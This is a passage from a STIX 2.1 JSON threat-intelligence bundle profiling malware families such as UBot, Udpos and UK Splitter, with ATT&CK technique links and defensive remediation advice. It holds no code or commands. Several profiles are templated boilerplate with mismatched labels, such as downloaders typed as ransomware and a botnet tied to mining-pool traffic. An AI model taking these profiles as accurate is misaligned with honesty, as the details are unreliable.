      "description": "<h3>Executive Summary</h3>\nUBot is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader and botnet client for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence, facilitate the automated deployment of secondary malware payloads, or enlist the compromised machine into a distributed botnet for coordinated attacks.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nUBot is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, UBot operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> UBot ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Botnet Enslavement:</strong> Acting as a botnet node, UBot receives instructions from the C2 server to silently download secondary malware, participate in DDoS attacks, or serve as a proxy for malicious traffic, providing the attacker with a flexible platform for abuse.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA UBot infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally, compromise the corporate network, or be used to attack external targets.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the UBot executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Total Re-imaging:</strong> Given its botnet capabilities and potential for deep system hooking, rebuilding the machine from a known-good baseline is highly recommended.</li>\n</ul> (Observed samples in benchmark: 8)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.UBot",
        "Botnet.UBot",
        "Win32/UBot"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ubot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ubot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3b61581-ca4d-5645-8552-a65bf85d5a84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07dc3852-126f-5527-b3f8-6b675ea82dd3",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubot exhibits technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a55b0d6-a1e8-53cc-9882-68610ed48c62",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07dc3852-126f-5527-b3f8-6b675ea82dd3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5c28eef-23c2-510d-8109-ebc045341e1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--07dc3852-126f-5527-b3f8-6b675ea82dd3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ubot exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--12a84f8d-b925-5669-905a-01e497d461d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Udpos",
      "description": "Trojan:Win32/Udpos is a highly specialized piece of Point-of-Sale (PoS) malware designed explicitly to steal credit and debit card information from retail and hospitality environments. Unlike standard infostealers, Udpos utilizes 'RAM Scraping' (`T1005`) to locate and extract Track 1 and Track 2 payment card data directly from the memory of the PoS application *before* it can be encrypted by the operating system.<br><br><b>Understanding Udpos (RAM Scraping)</b><br>To the cashier and the customer, the transaction appears completely normal. For a retail organization, a Udpos infection is a catastrophic data breach leading to massive financial liability, PCI-DSS compliance failure, and severe reputational damage. The malware is designed to operate silently on Windows-based cash registers and payment terminals.<br><br><b>Execution and RAM Scraping Mechanics</b><br>Attackers typically gain access to the PoS environment via compromised remote access tools (like RDP or LogMeIn) (`T1133`) or by pivoting from a breach in the corporate network. Once deployed on the terminal, Udpos runs as a background service or injects itself into legitimate processes. It continuously scans the volatile memory (RAM) of specific processes (like the PoS application itself) searching for regular expressions that match the structure of magnetic stripe data (`T1005`). When a card is swiped, the data is briefly unencrypted in RAM; Udpos captures it, encrypts it locally, and saves it to a hidden log file. This file is then periodically exfiltrated via DNS tunneling (`T1071.004`) or HTTP POST requests to a C2 server.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the massive theft of consumer financial data. Host-based IoCs include EDR alerts for anomalous processes reading the memory of authorized PoS applications, the presence of unexpected executables or services on strictly controlled terminal equipment, and the creation of encrypted, growing `.log` or `.dat` files in hidden directories. Network IoCs include unexpected outbound HTTP or DNS traffic originating directly from the PoS VLAN (which should ideally be isolated from the internet). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Udpos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/udpos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06f7ae69-4aa6-58af-b75e-ac3649233fa5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12a84f8d-b925-5669-905a-01e497d461d1",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Udpos exhibits technique T1005 (Data from Local System (RAM Scraping to capture unencrypted Track data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f49d5cf-71e0-5e83-a6a8-97820fec394a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12a84f8d-b925-5669-905a-01e497d461d1",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Udpos exhibits technique T1133 (External Remote Services (A common initial access vector for PoS environments))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ca13398-fd29-54b8-82e9-2d5ca2a5a7cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--12a84f8d-b925-5669-905a-01e497d461d1",
      "target_ref": "attack-pattern--fc3da9a3-2468-5159-ba4e-35accdddbdb0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Udpos exhibits technique T1071.004 (Application Layer Protocol: DNS (Exfiltrating stolen card data via DNS tunneling))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--24a31e02-2c77-5a67-8ecb-6f409e7f63f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Udslee",
      "description": "<h3>Executive Summary</h3>\nUdslee is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nUdslee is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Udslee operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Udslee ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Udslee receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Udslee infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Udslee executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Udslee frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Udslee",
        "Downloader.Udslee",
        "Win32/Udslee"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Udslee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/udslee"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e566747-90a7-58e5-9673-992dbe8ac2e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24a31e02-2c77-5a67-8ecb-6f409e7f63f0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Udslee exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--adba5617-3fdf-52d8-9bc1-a74057b108b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24a31e02-2c77-5a67-8ecb-6f409e7f63f0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Udslee exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68b9a1d3-ce17-50a6-a53b-bb64019544d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--24a31e02-2c77-5a67-8ecb-6f409e7f63f0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Udslee exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--45e9a05b-e55f-5eb3-b65d-223f97391143",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ufraie",
      "description": "Trojan:Win32/Ufraie is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ufraie</b><br>To an end-user, a Ufraie infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ufraie is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ufraie is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ufraie frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ufraie reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ufraie",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ufraie"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e095d78-6bab-57d0-8d5d-b775163fed13",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45e9a05b-e55f-5eb3-b65d-223f97391143",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ufraie exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d9e64fa-a003-5343-b44c-7ebf7106870e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45e9a05b-e55f-5eb3-b65d-223f97391143",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ufraie exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e4ddf2f6-7fd2-5f3c-b841-52ec80e1c9d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45e9a05b-e55f-5eb3-b65d-223f97391143",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ufraie exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6e92d0f8-7ebe-5bb3-ad98-c259db551c0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45e9a05b-e55f-5eb3-b65d-223f97391143",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ufraie exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5580284f-9089-538d-bed4-72fb23d8d941",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--45e9a05b-e55f-5eb3-b65d-223f97391143",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ufraie exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95fef449-7075-5028-86e5-e3e0d093de8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uiwao0Sam",
      "description": "<h3>Executive Summary</h3>\n\"Uiwao0sam\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like (Domain Generation Algorithm) naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker (like Emotet or Trickbot).\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized (using tools like VMProtect or custom packers). This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Dynamic Infrastructure:</strong> The malware often relies on a Domain Generation Algorithm (DGA) to rapidly cycle through thousands of potential command-and-control (C2) domains, making IP/Domain blacklisting at the firewall ineffective.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior (e.g., an unknown executable attempting to inject code into `svchost.exe`).</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed (such as rootkit-like persistence), attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Uiwao0sam",
        "Malware.Obfuscated.DGA",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uiwao0Sam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uiwao0sam"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e38e9ded-ce67-54b5-9c3b-6059196d95aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95fef449-7075-5028-86e5-e3e0d093de8a",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uiwao0Sam exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--885842cc-5a3b-5c18-9c08-6cb53c069dab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95fef449-7075-5028-86e5-e3e0d093de8a",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uiwao0Sam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--098d2b15-0623-53f8-b36c-7921e4097179",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95fef449-7075-5028-86e5-e3e0d093de8a",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uiwao0Sam exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b79d29b-4eff-526b-a196-3ac322b1f39c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95fef449-7075-5028-86e5-e3e0d093de8a",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uiwao0Sam exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1a90537a-0df9-5421-b113-74b021afa387",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uiwaowr6Xsaje",
      "description": "<h3>Executive Summary</h3>\n\"Uiwaowr6xsaje\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The random, DGA-like (Domain Generation Algorithm) naming convention strongly suggests that this malware was generated dynamically by an automated exploit kit or malware builder to evade static antivirus signatures through constant polymorphic mutation.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these randomized naming conventions is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Uiwaowr6xsaje typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, randomly named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Uiwaowr6xsaje",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uiwaowr6Xsaje",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uiwaowr6xsaje"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fdf1195-8f40-516c-b1a0-6a0afdcf0a3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a90537a-0df9-5421-b113-74b021afa387",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uiwaowr6Xsaje exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca97958e-cae6-5ede-9ee8-a1228f1282d9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a90537a-0df9-5421-b113-74b021afa387",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uiwaowr6Xsaje exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--909fa4b2-2d8a-5f73-b6b0-0a6719118600",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a90537a-0df9-5421-b113-74b021afa387",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uiwaowr6Xsaje exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a980ad2e-0dc0-58a2-8ba0-5409bff1e9fa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1a90537a-0df9-5421-b113-74b021afa387",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uiwaowr6Xsaje exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--42c47a89-e08b-56a3-a41e-bafef273e314",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uk_Splitter",
      "description": "UK Splitter (specifically known across security communities as UK Splitter 1.2 and HackTool.Win32.UKSplitter) is a specialized binary joiner, executable file binder, and malware dropper companion created circa 2003 by a hacker group known as 'UK-Crew'. Widely utilized in underground cybercrime circles, UK Splitter was designed to merge malicious backdoor servers (such as SubSeven, NetBus, or Optix Pro) with benign host programs (such as games, media players, or images). When the victim executes the bound carrier file, UK Splitter extracts and displays the legitimate decoy program in the foreground to eliminate suspicion, while simultaneously dropping and executing the malicious payload silently in the background. UK Splitter featured customizable executable icon replacement, stub compression, and automated autostart registry configuration to ensure persistent execution across system reboots.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "UK Splitter 1.2",
        "HackTool.Win32.UKSplitter",
        "Binder.UKSplitter",
        "UK Splitter Pro",
        "UK-Crew Splitter"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uk_Splitter",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uk_splitter"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36e16c7f-ea18-5923-9f0f-834f95b66aff",
      "created": "2026-01-01T00:00:00.000Z",
